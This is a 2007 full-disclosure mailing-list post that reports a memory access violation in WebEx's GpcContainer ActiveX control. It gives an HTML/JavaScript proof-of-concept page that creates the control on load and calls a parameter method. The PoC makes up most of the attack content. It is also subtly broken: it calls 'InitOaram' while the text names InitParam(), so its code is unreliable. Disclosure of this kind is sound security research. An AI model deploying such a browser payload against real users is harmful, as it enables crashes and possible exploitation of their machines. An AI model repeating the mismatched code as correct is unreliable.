full-disclosure - WebEx GPCContainer Memory Access Violation

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Message-ID: <8578835.1194972633689.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net>
Date: Tue, 13 Nov 2007 11:50:33 -0500 (GMT-05:00)
From: Elazar Broad <elazarb@...thlink.net>
To: "full-disclosure@...ts.grok.org.uk" <full-disclosure@...ts.grok.org.uk>
Subject: WebEx GPCContainer Memory Access Violation

There is a memory access violation in the InitParam() and SetParam() functions. PoC as follows:

---------------------
<!--
Written by e.b.
-->
<html>
 <head>
  <script language="JavaScript" DEFER>
    function Check() {
        var obj = new ActiveXObject("GpcContainer.GpcContainer.1"); 

        obj.InitOaram("A");
}
  </script>

 </head>  
 <body onLoad="JavaScript: return Check();">

 </body>

</html>
---------------------

Elazar

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